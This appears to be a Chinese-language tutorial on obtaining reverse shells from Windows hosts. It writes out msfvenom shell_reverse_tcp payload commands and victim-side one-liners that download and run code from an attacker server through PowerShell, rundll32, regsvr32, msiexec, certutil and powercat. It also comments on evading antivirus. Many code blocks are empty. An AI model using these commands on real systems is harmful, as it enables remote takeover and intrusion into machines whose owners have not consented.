windwos反弹shell
反弹shell 简介
正向shell
正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向shell
反向shell(反弹shell):被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、 权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
反弹shell的方式
nc
正向
这种方式的话,需要考虑对方的主机是否存在nc
1 |
|
反向
1 |
|
注意使用cmd连接有问题,建议使用powershell.exe,连接的过程中需要手动确认一下,在攻击机这边输入
msf中hta_server模块(mshta加载hta)
1 |
|
使用mshta加载这个
成功反弹,只是火绒对网络的管控比较严格
msf+nc+mshta
首先在payload 这边应该使用大马,也就是非分段式的
1 |
|
然后在大马的文件之下执行http.server
并且使用nc 监听payload 的指定的端口
然后受害机器使用mshta加载
1 |
|
这个的原理就是使用powershell加载,但是由于xp并没有powershell所以没有办法实现
cs 反弹shell
不多说老朋友了
dll文件
先生成一个payload 文件格式是dll
先生成一个payload用于反弹shell
1 |
|
然后使用handler监听
使用dll文件有两种方式
本地加载
1
2powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.79.138:8000/mingy.dll',\"c:\august.dll\")"
rundll32 shell32.dll,Control_RunDLL C:\august.dll注意dll文件执行的时候必须是绝对路径
smb服务加载
首先需要安装smbserver用于开启smb服务
clone
1
git clone https://github.com/fortra/impacket.git
安装依赖
1
pip install -r requiment.txt
添加为系统执行
1
python setup.py install
开启一个服务
低版本,在win11废除
1
smbserver.py dll(服务名) 9999.dll(文件名)
高版本
1
smbserver.py dll 9999.dll -smb2support
受害者,只用这个
1
net use \\192.168.79.138
1
rundll32.exe shell32.dll,Control_RunDLL \\192.168.79.138\dll\9999.dll
Metasploit SMB Delivery
通过Metasploit的SMB Delivery模块发起Rundll32攻击
1 |
|
加载时出现了问题,
利用Rundll32加载hta反弹shell
1 |
|
Regsvr32
Regsvr32.exe是一个命令行应用程序,是 Windows 系统提供的用来向系统注册控件或者卸载控 件的命令,如Windows注册表中的dll和ActiveX控件。
Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。
使用语法
1 |
|
本地调用计算器
cmd.sct
1 |
|
regsvr32.exe /n /s /u /i:cmd.sct scrobj.dll(系统自带的文件)
反弹shell只需要将前面执行计算器的指令换成执行反弹shell的就好了
1 |
|
反弹成功
远程执行加载,将srt文件放入http.server服务器里
然后使用远程加载的方式执行
然后受害者执行
1 |
|
完美反弹shell
powershell
psh
使用msfvenom生成一个payload(psh)
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f psh > 10000.ps1
开启http服务
使用受害机远程加载
1
powershell.exe -c "iex (new-object system.net.webclient).downloadstring('http://192.168.79.138:8000/10000.ps1');10000.ps1";
psh-reflection
和上面的基本一致,只是生成的脚本不一致而已,然后执行的时候可以不用分号后面添加脚本的名字
1 |
|
执行
1 |
|
PowerShell加载Powercat
下载powercat
powercat 就是使用.NET框架写的nc 和nc的使用完全一致
1
git clone https://github.com/besimorhino/powercat.git
在powercat的路径开启http.server
受害者执行
1
powershell.exe -c "iex (new-object system.net.webclient).downloadstring('http://192.168.79.138:8000/powercat.ps1');powercat -c 192.168.79.138 -p 10000 -e powershell";
反弹成功
PowerShell启动Cscript
少用不能免杀
生成一个payload
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f vbs -o 10000.vbs
上传到http.server上
远程加载
1
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://139.155.49.43:8000/3.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
msiexec
msi文件格式
先生成一个payload
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f msi -o 10000.msi
开启http.server的服务
然后远程访问
1
msiexec.exe /q /i http://192.168.79.138:8000/10000.msi
exe + 升级msf session + handler监听
原理
使用handler监听和nc监听是一样的
生成一个paylod
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f exe -o 10000.exe
这个方式不是metepreter ,只是一个Shell
后续可以通过升级的方式升级成为metepreter
使用msf监听
下载到受害机,并且执行
这里使用certutil执行
1
certutil.exe -urlcache -split -f http://192.168.79.138/10000.exe c:\windows\temp\44.exe & start c:\windows\temp\44.exe
成功下载文件,并且执行
反弹
但是我们想反弹那到msf handler 上面
升级session 这里的session是只有一个shell
就多一个session